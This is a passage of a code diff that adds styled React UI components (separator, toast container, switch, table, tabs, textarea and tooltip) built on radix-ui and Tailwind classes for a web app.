+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Separator({
+  className,
+  orientation = "horizontal",
+  decorative = true,
+  ...props
+}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
+  return (
+    <SeparatorPrimitive.Root
+      data-slot="separator"
+      decorative={decorative}
+      orientation={orientation}
+      className={cn(
+        "bg-border shrink-0 data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:h-full data-[orientation=vertical]:w-px",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Separator };

web/app/components/ui/sonner.tsx

@@ -0,0 +1,24 @@
+import { useTheme } from "next-themes";
+import { Toaster as Sonner, type ToasterProps } from "sonner";
+
+const Toaster = ({ ...props }: ToasterProps) => {
+  const { theme } = useTheme();
+
+  return (
+    <Sonner
+      theme={theme as ToasterProps["theme"]}
+      richColors
+      className="toaster group"
+      style={
+        {
+          "--normal-bg": "var(--popover)",
+          "--normal-text": "var(--popover-foreground)",
+          "--normal-border": "var(--border)",
+        } as React.CSSProperties
+      }
+      {...props}
+    />
+  );
+};
+
+export { Toaster };

web/app/components/ui/switch.tsx

@@ -0,0 +1,29 @@
+import { Switch as SwitchPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Switch({
+  className,
+  ...props
+}: React.ComponentProps<typeof SwitchPrimitive.Root>) {
+  return (
+    <SwitchPrimitive.Root
+      data-slot="switch"
+      className={cn(
+        "peer data-[state=checked]:bg-primary data-[state=unchecked]:bg-input focus-visible:border-ring focus-visible:ring-ring/50 dark:data-[state=unchecked]:bg-input/80 inline-flex h-[1.15rem] w-8 shrink-0 items-center rounded-full border border-transparent shadow-xs transition-all outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    >
+      <SwitchPrimitive.Thumb
+        data-slot="switch-thumb"
+        className={cn(
+          "bg-background dark:data-[state=unchecked]:bg-foreground dark:data-[state=checked]:bg-primary-foreground pointer-events-none block size-4 rounded-full ring-0 transition-transform data-[state=checked]:translate-x-[calc(100%-2px)] data-[state=unchecked]:translate-x-0",
+        )}
+      />
+    </SwitchPrimitive.Root>
+  );
+}
+
+export { Switch };

web/app/components/ui/table.tsx

@@ -0,0 +1,114 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Table({ className, ...props }: React.ComponentProps<"table">) {
+  return (
+    <div
+      data-slot="table-container"
+      className="relative w-full overflow-x-auto"
+    >
+      <table
+        data-slot="table"
+        className={cn("w-full caption-bottom text-sm", className)}
+        {...props}
+      />
+    </div>
+  );
+}
+
+function TableHeader({ className, ...props }: React.ComponentProps<"thead">) {
+  return (
+    <thead
+      data-slot="table-header"
+      className={cn("[&_tr]:border-b", className)}
+      {...props}
+    />
+  );
+}
+
+function TableBody({ className, ...props }: React.ComponentProps<"tbody">) {
+  return (
+    <tbody
+      data-slot="table-body"
+      className={cn("[&_tr:last-child]:border-0", className)}
+      {...props}
+    />
+  );
+}
+
+function TableFooter({ className, ...props }: React.ComponentProps<"tfoot">) {
+  return (
+    <tfoot
+      data-slot="table-footer"
+      className={cn(
+        "bg-muted/50 border-t font-medium [&>tr]:last:border-b-0",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableRow({ className, ...props }: React.ComponentProps<"tr">) {
+  return (
+    <tr
+      data-slot="table-row"
+      className={cn(
+        "hover:bg-muted/50 data-[state=selected]:bg-muted border-b transition-colors",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableHead({ className, ...props }: React.ComponentProps<"th">) {
+  return (
+    <th
+      data-slot="table-head"
+      className={cn(
+        "text-foreground h-10 px-2 text-left align-middle font-medium whitespace-nowrap [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableCell({ className, ...props }: React.ComponentProps<"td">) {
+  return (
+    <td
+      data-slot="table-cell"
+      className={cn(
+        "p-2 align-middle whitespace-nowrap [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableCaption({
+  className,
+  ...props
+}: React.ComponentProps<"caption">) {
+  return (
+    <caption
+      data-slot="table-caption"
+      className={cn("text-muted-foreground mt-4 text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  Table,
+  TableHeader,
+  TableBody,
+  TableFooter,
+  TableHead,
+  TableRow,
+  TableCell,
+  TableCaption,
+};

web/app/components/ui/tabs.tsx

@@ -0,0 +1,64 @@
+import { Tabs as TabsPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Tabs({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Root>) {
+  return (
+    <TabsPrimitive.Root
+      data-slot="tabs"
+      className={cn("flex flex-col gap-2", className)}
+      {...props}
+    />
+  );
+}
+
+function TabsList({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.List>) {
+  return (
+    <TabsPrimitive.List
+      data-slot="tabs-list"
+      className={cn(
+        "bg-muted text-muted-foreground inline-flex h-9 w-fit items-center justify-center rounded-lg p-[3px]",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TabsTrigger({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Trigger>) {
+  return (
+    <TabsPrimitive.Trigger
+      data-slot="tabs-trigger"
+      className={cn(
+        "dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TabsContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Content>) {
+  return (
+    <TabsPrimitive.Content
+      data-slot="tabs-content"
+      className={cn("flex-1 outline-none", className)}
+      {...props}
+    />
+  );
+}
+
+export { Tabs, TabsList, TabsTrigger, TabsContent };

web/app/components/ui/textarea.tsx

@@ -0,0 +1,18 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Textarea({ className, ...props }: React.ComponentProps<"textarea">) {
+  return (
+    <textarea
+      data-slot="textarea"
+      className={cn(
+        "border-input placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 flex field-sizing-content min-h-16 w-full rounded-md border bg-transparent px-3 py-2 text-base shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 md:text-sm",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Textarea };

web/app/components/ui/tooltip.tsx

@@ -0,0 +1,59 @@
+import { Tooltip as TooltipPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function TooltipProvider({
+  delayDuration = 0,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Provider>) {
+  return (
+    <TooltipPrimitive.Provider
+      data-slot="tooltip-provider"
+      delayDuration={delayDuration}
+      {...props}
+    />
+  );
+}
+
+function Tooltip({
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Root>) {
+  return (
+    <TooltipProvider>
+      <TooltipPrimitive.Root data-slot="tooltip" {...props} />
+    </TooltipProvider>
+  );
+}
+
+function TooltipTrigger({
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Trigger>) {
+  return <TooltipPrimitive.Trigger data-slot="tooltip-trigger" {...props} />;
+}
+
+function TooltipContent({
+  className,
+  sideOffset = 0,
+  children,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Content>) {
+  return (
+    <TooltipPrimitive.Portal>
+      <TooltipPrimitive.Content
+        data-slot="tooltip-content"
+        sideOffset={sideOffset}
+        className={cn(
+          "bg-primary text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-fit origin-(--radix-tooltip-content-transform-origin) rounded-md px-3 py-1.5 text-xs text-balance",
+          className,
+        )}
+        {...props}
+      >
+        {children}
+        <TooltipPrimitive.Arrow className="bg-primary fill-primary z-50 size-2.5 translate-y-[calc(-50%_-_2px)] rotate-45 rounded-[2px]" />
+      </TooltipPrimitive.Content>
+    </TooltipPrimitive.Portal>
+  );
+}
+
+export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };